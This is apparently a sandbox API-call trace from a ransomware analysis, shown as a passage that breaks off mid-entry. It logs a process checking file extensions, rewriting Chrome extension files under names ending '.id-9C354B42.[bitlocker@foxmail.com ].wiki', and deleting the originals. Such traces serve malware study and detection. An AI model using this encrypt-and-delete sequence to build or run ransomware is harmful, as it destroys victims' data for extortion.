[0175.323] lstrlenW (lpString=".jpg") returned 4 [0175.323] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.323] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json") returned 154 [0175.323] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json") returned 154 [0175.323] lstrlenW (lpString=".doc") returned 4 [0175.323] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.323] lstrlenW (lpString=".docx") returned 5 [0175.323] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.323] lstrlenW (lpString=".pdf") returned 4 [0175.323] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.323] lstrlenW (lpString=".xls") returned 4 [0175.323] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.323] lstrlenW (lpString=".xlsx") returned 5 [0175.323] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.323] lstrlenW (lpString=".ppt") returned 4 [0175.323] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.323] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json") returned 154 [0175.323] lstrlenW (lpString=".zip") returned 4 [0175.323] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.323] lstrlenW (lpString=".rar") returned 4 [0175.323] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.323] lstrlenW (lpString=".bz2") returned 4 [0175.324] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.324] lstrlenW (lpString=".7z") returned 3 [0175.324] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.324] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json") returned 154 [0175.324] lstrlenW (lpString=".dbf") returned 4 [0175.324] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.324] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json") returned 154 [0175.324] lstrlenW (lpString=".1cd") returned 4 [0175.324] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.324] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json") returned 154 [0175.324] lstrlenW (lpString=".jpg") returned 4 [0175.324] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.324] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.324] lstrlenW (lpString="messages.json") returned 13 [0175.324] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0175.329] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=226) returned 1 [0175.329] CloseHandle (hObject=0x1b4) returned 1 [0175.329] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json")) returned 0x2020 [0175.329] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.329] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0175.329] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.330] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.330] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.330] GetLastError () returned 0x0 [0175.330] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xe2, lpOverlapped=0x0) returned 1 [0175.331] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0175.332] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0175.332] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.332] SetEndOfFile (hFile=0x19c) returned 1 [0175.332] CloseHandle (hObject=0x19c) returned 1 [0175.332] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.468] SetEndOfFile (hFile=0x1b4) returned 1 [0175.469] CloseHandle (hObject=0x1b4) returned 1 [0175.469] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.469] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json")) returned 1 [0175.469] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json") returned 151 [0175.469] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json") returned 151 [0175.469] lstrlenW (lpString=".doc") returned 4 [0175.469] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.469] lstrlenW (lpString=".docx") returned 5 [0175.469] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.469] lstrlenW (lpString=".pdf") returned 4 [0175.469] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.469] lstrlenW (lpString=".xls") returned 4 [0175.469] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.469] lstrlenW (lpString=".xlsx") returned 5 [0175.469] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.469] lstrlenW (lpString=".ppt") returned 4 [0175.470] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.470] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json") returned 151 [0175.470] lstrlenW (lpString=".zip") returned 4 [0175.470] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.470] lstrlenW (lpString=".rar") returned 4 [0175.470] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.470] lstrlenW (lpString=".bz2") returned 4 [0175.470] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.470] lstrlenW (lpString=".7z") returned 3 [0175.470] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.470] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json") returned 151 [0175.470] lstrlenW (lpString=".dbf") returned 4 [0175.470] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.470] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json") returned 151 [0175.470] lstrlenW (lpString=".1cd") returned 4 [0175.470] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.470] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json") returned 151 [0175.470] lstrlenW (lpString=".jpg") returned 4 [0175.470] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.470] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json") returned 151 [0175.470] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json") returned 151 [0175.470] lstrlenW (lpString=".doc") returned 4 [0175.470] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.470] lstrlenW (lpString=".docx") returned 5 [0175.470] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.470] lstrlenW (lpString=".pdf") returned 4 [0175.470] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.470] lstrlenW (lpString=".xls") returned 4 [0175.471] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.471] lstrlenW (lpString=".xlsx") returned 5 [0175.471] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.471] lstrlenW (lpString=".ppt") returned 4 [0175.471] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.471] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json") returned 151 [0175.471] lstrlenW (lpString=".zip") returned 4 [0175.471] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.471] lstrlenW (lpString=".rar") returned 4 [0175.471] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.471] lstrlenW (lpString=".bz2") returned 4 [0175.471] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.471] lstrlenW (lpString=".7z") returned 3 [0175.471] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.471] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json") returned 151 [0175.471] lstrlenW (lpString=".dbf") returned 4 [0175.471] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.471] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json") returned 151 [0175.471] lstrlenW (lpString=".1cd") returned 4 [0175.471] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.471] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json") returned 151 [0175.471] lstrlenW (lpString=".jpg") returned 4 [0175.471] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.471] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.471] lstrlenW (lpString="verified_contents.json") returned 22 [0175.472] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0176.476] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=11094) returned 1 [0176.476] CloseHandle (hObject=0x19c) returned 1 [0176.476] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json")) returned 0x2020 [0176.476] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0176.778] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0176.779] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0176.779] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0176.779] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0176.780] GetLastError () returned 0x0 [0176.780] ReadFile (in: hFile=0x1ac, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x2b56, lpOverlapped=0x0) returned 1 [0176.785] WriteFile (in: hFile=0x1a0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x2b60, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x2b60, lpOverlapped=0x0) returned 1 [0176.786] ReadFile (in: hFile=0x1ac, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0176.786] WriteFile (in: hFile=0x1a0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x100, lpOverlapped=0x0) returned 1 [0176.786] SetEndOfFile (hFile=0x1a0) returned 1 [0176.787] CloseHandle (hObject=0x1a0) returned 1 [0176.787] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0176.787] SetEndOfFile (hFile=0x1ac) returned 1 [0176.788] CloseHandle (hObject=0x1ac) returned 1 [0176.788] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0176.788] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json")) returned 1 [0176.788] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json") returned 158 [0176.788] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json") returned 158 [0176.788] lstrlenW (lpString=".doc") returned 4 [0176.788] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.788] lstrlenW (lpString=".docx") returned 5 [0176.788] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.788] lstrlenW (lpString=".pdf") returned 4 [0176.788] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.788] lstrlenW (lpString=".xls") returned 4 [0176.788] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.788] lstrlenW (lpString=".xlsx") returned 5 [0176.789] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.789] lstrlenW (lpString=".ppt") returned 4 [0176.789] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.789] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json") returned 158 [0176.789] lstrlenW (lpString=".zip") returned 4 [0176.789] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.789] lstrlenW (lpString=".rar") returned 4 [0176.789] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.789] lstrlenW (lpString=".bz2") returned 4 [0176.789] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.789] lstrlenW (lpString=".7z") returned 3 [0176.789] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.789] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json") returned 158 [0176.789] lstrlenW (lpString=".dbf") returned 4 [0176.789] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.789] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json") returned 158 [0176.789] lstrlenW (lpString=".1cd") returned 4 [0176.789] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.789] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json") returned 158 [0176.789] lstrlenW (lpString=".jpg") returned 4 [0176.789] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.789] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json") returned 158 [0176.789] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json") returned 158 [0176.789] lstrlenW (lpString=".doc") returned 4 [0176.789] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.789] lstrlenW (lpString=".docx") returned 5 [0176.789] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.789] lstrlenW (lpString=".pdf") returned 4 [0176.789] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.789] lstrlenW (lpString=".xls") returned 4 [0176.790] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.790] lstrlenW (lpString=".xlsx") returned 5 [0176.790] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.790] lstrlenW (lpString=".ppt") returned 4 [0176.790] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.790] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json") returned 158 [0176.790] lstrlenW (lpString=".zip") returned 4 [0176.790] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.790] lstrlenW (lpString=".rar") returned 4 [0176.790] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.790] lstrlenW (lpString=".bz2") returned 4 [0176.790] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.790] lstrlenW (lpString=".7z") returned 3 [0176.790] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.790] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json") returned 158 [0176.790] lstrlenW (lpString=".dbf") returned 4 [0176.790] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.790] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json") returned 158 [0176.790] lstrlenW (lpString=".1cd") returned 4 [0176.790] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.790] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json") returned 158 [0176.790] lstrlenW (lpString=".jpg") returned 4 [0176.790] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.790] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0176.790] lstrlenW (lpString="messages.json") returned 13 [0176.790] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0176.791] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=665) returned 1 [0176.791] CloseHandle (hObject=0x1ac) returned 1 [0176.791] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 